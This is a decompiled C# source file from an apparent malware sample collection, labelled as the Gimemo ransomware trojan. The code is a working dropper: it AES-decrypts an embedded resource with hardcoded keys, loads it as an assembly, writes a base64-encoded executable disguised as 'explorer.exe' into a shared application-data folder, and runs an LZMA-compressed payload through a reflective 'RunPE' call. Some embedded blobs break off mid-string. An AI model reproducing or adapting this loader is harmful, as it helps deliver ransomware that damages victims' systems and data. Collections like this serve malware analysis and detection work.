MalwareSourceCode/MSIL/Trojan-Ransom/Win32/G/Trojan-Ransom.Win32.Gimemo.ayt-624a52079bf1703bcd3bcc9d2d3716b6126fd05655e25289d19142f9aae02eb5/SysDriver/Driver.cs

// Decompiled with JetBrains decompiler
// Type: SysDriver.Driver
// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 7BE4E538-8555-4C2E-974B-99E556F5462C
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Ransom.Win32.Gimemo.ayt-624a52079bf1703bcd3bcc9d2d3716b6126fd05655e25289d19142f9aae02eb5.exe

using SevenZip.Compression.LZMA;
using System;
using System.IO;
using System.Reflection;
using System.Security.Cryptography;
using System.Text;

namespace SysDriver
{
  internal class Driver
  {
    private static void Main(string[] args)
    {
      Assembly t7RZi35DrBg89Wsy4XYz2f6G4Cm = Assembly.Load(Driver.Jm5d3M2Hix8SGz76DfPw94Qty8FR(Driver.Kw3e4P6Srq9LTm87Mtp5J("temp.resource"), "p5FTx67YkDn9t8ZBe42M", "q6Q7Mcb8LKf5k9T4Co", "SHA1", 2, "Pq4w7Y3Gdc6L2Rfp", 128));
      string path = Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData) + "\\explorer.exe";
      byte[] numArray = SevenZipHelper.Decompress(Driver.Jm5d3M2Hix8SGz76DfPw94Qty8FR("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
      File.WriteAllBytes(path, Convert.FromBase64String("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
      Driver.p2TNw4z6X9Mis8DBt7b5("RPEMETHOD", "Run", t7RZi35DrBg89Wsy4XYz2f6G4Cm, new object[2]
      {
        (object) numArray,
        (object) path
      });
    }

    private static string Kw3e4P6Srq9LTm87Mtp5J(string Ax6f9ZLy4j8B) => new StreamReader(Assembly.GetExecutingAssembly().GetManifestResourceStream("temp.resource")).ReadToEnd();

    private static bool p2TNw4z6X9Mis8DBt7b5(
      string y6J7TpEj42Gbo9A3HcSf8i5B4,
      string Cc4j5WYm67GdKa92ToHg8e3R8,
      Assembly t7RZi35DrBg89Wsy4XYz2f6G4Cm,
      object[] n8ZAf75HzKk42RwFb9q6JQc3)
    {
      try
      {
        Type type = t7RZi35DrBg89Wsy4XYz2f6G4Cm.GetType(y6J7TpEj42Gbo9A3HcSf8i5B4);
        if ((object) type != null)
        {
          MethodInfo method = type.GetMethod(Cc4j5WYm67GdKa92ToHg8e3R8);
          if ((object) method != null)
            return (bool) method.Invoke((object) null, n8ZAf75HzKk42RwFb9q6JQc3);
        }
      }
      catch
      {
        return false;
      }
      return false;
    }

    public static byte[] Jm5d3M2Hix8SGz76DfPw94Qty8FR(
      string Kw3e4P6Srq9LTm87Mtp5J,
      string Nw42TtCc6o5WHr3s7Z9Rjy8M3EzPm5,
      string Hi97TeDy6k4PGo,
      string p2TNw4z6X9Mis8DBt7b5,
      int Ax6f9ZLy4j8B,
      string Ff8t6QMj7w3ENg95JxHn2b4TPq94Dy,
      int b5GSe6o4Z2Rqp3P7Wrk9B8)
    {
      try
      {
        byte[] bytes1 = Encoding.ASCII.GetBytes(Ff8t6QMj7w3ENg95JxHn2b4TPq94Dy);
        byte[] bytes2 = Encoding.ASCII.GetBytes(Hi97TeDy6k4PGo);
        byte[] buffer = Convert.FromBase64String(Kw3e4P6Srq9LTm87Mtp5J);
        byte[] bytes3 = new PasswordDeriveBytes(Nw42TtCc6o5WHr3s7Z9Rjy8M3EzPm5, bytes2, p2TNw4z6X9Mis8DBt7b5, Ax6f9ZLy4j8B).GetBytes(b5GSe6o4Z2Rqp3P7Wrk9B8 / 8);
        RijndaelManaged rijndaelManaged = new RijndaelManaged();
        rijndaelManaged.Mode = CipherMode.CBC;
        byte[] numArray = new byte[buffer.Length];
        int count = 0;
        using (ICryptoTransform decryptor = rijndaelManaged.CreateDecryptor(bytes3, bytes1))
        {
          using (MemoryStream memoryStream = new MemoryStream(buffer))
          {
            using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, decryptor, CryptoStreamMode.Read))
            {
              count = cryptoStream.Read(numArray, 0, numArray.Length);
              memoryStream.Close();
              cryptoStream.Close();
            }
          }
        }
        return Convert.FromBase64String(Encoding.UTF8.GetString(numArray, 0, count));
      }
      catch
      {
        return (byte[]) null;
      }
    }
  }
}